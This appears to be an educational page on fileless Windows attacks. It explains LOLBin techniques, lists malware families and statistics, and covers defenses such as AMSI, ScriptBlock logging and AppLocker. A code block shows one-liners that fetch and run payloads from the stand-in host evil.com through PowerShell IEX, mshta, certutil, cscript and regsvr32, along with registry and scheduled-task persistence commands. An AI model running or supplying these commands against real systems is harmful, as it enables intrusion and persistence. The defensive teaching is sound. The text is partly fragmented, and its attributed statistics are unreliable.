Fileless attacks (memory-only malware, non-malware attacks) are cyberattacks that execute malicious code entirely in memory without writing files to disk. Attackers leverage legitimate system tools (Living-off-the-Land binaries - LOLBins) such as PowerShell, WMI, MSHTA, Reg.exe, CertUtil, and Cscript to execute malicious payloads. Fileless attacks evade traditional antivirus (signature-based detection) because no malicious file exists on disk. 70% of successful breaches use fileless techniques (Ponemon Institute).
Fileless Statistics: 70% of breaches use fileless techniques. 50% increase in fileless attacks YoY. 80% of fileless attacks use PowerShell. Average detection time: 150 days (traditional AV ineffective).
Common fileless attack vectors:
Malicious PowerShell script downloaded and executed in memory (IEX). No script file written to disk. Example: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1').
Execute PowerShell scripts via WMI without writing files. Persistence via WMI Event Subscription (__EventFilter, ActiveScriptEventConsumer). Example: wmic process call create "powershell -enc ..."
Execute malicious JavaScript/VBScript via HTA files. Downloaded and executed in memory (mshta http://evil.com/payload.hta). Bypasses file-based detection.
Malicious PowerShell script stored in registry key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run). Executed via WScript without writing file to disk.
Load malicious DLL directly into process memory without calling LoadLibrary. No DLL file on disk. Used by Meterpreter, Cobalt Strike, PowerSploit.
Create legitimate process (svchost.exe) in suspended state, replace memory with malicious code, resume execution. No malicious file on disk.
// LOLBins commonly used in fileless attacks (Windows)
// 1. PowerShell (most common)
powershell -NoP -NonI -W Hidden -Exec Bypass -Enc JABjAGwAaQBlAG4AdAA...
// 2. WMI (Windows Management Instrumentation)
wmic process call create "powershell -enc BASE64_ENCODED_COMMAND"
// 3. MSHTA (HTML Application)
mshta javascript:a=GetObject("script:http://evil.com/payload.sct").Exec()
// 4. CertUtil (decode base64 payload)
certutil -urlcache -f http://evil.com/payload.b64 payload.ps1 & powershell payload.ps1
// 5. Reg.exe (registry persistence)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d "wscript.exe C:\Users\Public\malware.vbs"
// 6. Cscript (VBScript execution)
cscript //nologo http://evil.com/script.vbs
// 7. Rundll32 (DLL execution)
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";alert('malware');
// 8. Regsvr32 (SCT script execution)
regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dll
Persistence via WMI: __EventFilter, ActiveScriptEventConsumer, CommandLineEventConsumer. Executes PowerShell script on system startup or user logon. No registry/file artifacts.
Store PowerShell commands in registry (not file). Executed via WScript or Reg.exe. HKCU\Software\Microsoft\Windows\CurrentVersion\Run.
Scheduled task executing PowerShell command (no script file). schtasks /create /tn "Update" /tr "powershell -enc ..." /sc daily.
PowerShell scripts for fileless attacks: Invoke-Mimikatz, Invoke-Shellcode, Invoke-ReflectivePEInjection (DLL injection).
Commercial C2 framework with fileless capabilities (PowerShell Beacon, execute-assembly). Reflective DLL injection.
web_delivery module delivers PowerShell payload in memory (no file write). use exploit/multi/script/web_delivery.
// Fileless attack statistics (Ponemon Institute, 2023-2024)
- 70% of successful breaches use fileless techniques
- 50% increase in fileless attacks year-over-year
- 80% of fileless attacks use PowerShell (primary vector)
- 60% of fileless attacks use WMI (Windows Management Instrumentation)
- 40% of fileless attacks use MSHTA (HTML Application)
- Average detection time: 150 days (traditional AV ineffective)
- 30% of organizations lack PowerShell logging (Critical for detection)
- 50% of organizations lack WMI logging (Event ID 5857, 5860)
- 25% of organizations use AMSI (Antimalware Scan Interface) blocking
// Top fileless malware families
1. Poweliks (Registry-based PowerShell malware)
2. Kovter (Click-fraud fileless malware)
3. Emotet (Fileless downloader)
4. TrickBot (Fileless banking trojan)
5. Ryuk (Fileless ransomware loader)
This demonstration simulates a fileless attack using PowerShell (no files written to disk):
This is a simulated demonstration. Real fileless attacks execute PowerShell scripts in memory (no files on disk). Traditional antivirus cannot detect (no signature). Defenses: AMSI (Antimalware Scan Interface), PowerShell logging (ScriptBlock, Module), Constrained Language Mode, AppLocker, Windows Defender ATP.
Enable PowerShell ScriptBlock logging (Event ID 4104, 4105). Logs PowerShell commands executed (even encoded). Detect malicious IEX (Invoke-Expression).
AMSI scans PowerShell scripts before execution (memory). Detects malicious PowerShell commands. Windows Defender ATP integration.
Sysmon logs process creation (Event ID 1), network connections (Event ID 3), module loads (Event ID 7). Detects PowerShell spawning suspicious child processes.
Enable WMI activity logs. Detects WMI process creation (wmic process call create). Event ID 5857 (WMI activity), 5860 (WMI consumer).
AMSI scans PowerShell, VBScript, JScript scripts before execution. Detects malicious commands in memory. Windows Defender integration.
Restricts PowerShell to basic commands (no Add-Type, no COM objects). Prevents Invoke-Mimikatz, reflective DLL injection.
Restrict PowerShell execution to administrators only (GPO). Prevent standard users from running PowerShell.
AppLocker restricts execution of PowerShell scripts (.ps1), VBScript (.vbs), JScript (.js). Allow only signed scripts.
Best Practice - AMSI + PowerShell Logging + AppLocker: Enable AMSI (Antimalware Scan Interface) to scan PowerShell scripts in memory. Enable PowerShell ScriptBlock logging (Event ID 4104). Enable Constrained Language Mode (restrict PowerShell). Use AppLocker to block PowerShell scripts for standard users. Deploy EDR (CrowdStrike, Microsoft Defender for Endpoint) with fileless detection.
Fileless attacks are illegal under CFAA (US) and Computer Misuse Act (UK). Fileless techniques used by APT groups (Emotet, TrickBot, Ryuk, Cobalt Strike).
Fileless attacks are illegal. Penalties include:
Important: This guide is for educational and defensive purposes only. Unauthorized fileless attacks are illegal.
Enable PowerShell ScriptBlock, Module, Transcription logging.
Microsoft AMSI documentation: scanning PowerShell scripts in memory.
Database of LOLBins used in fileless attacks (PowerShell, WMI, MSHTA, CertUtil, Regsvr32).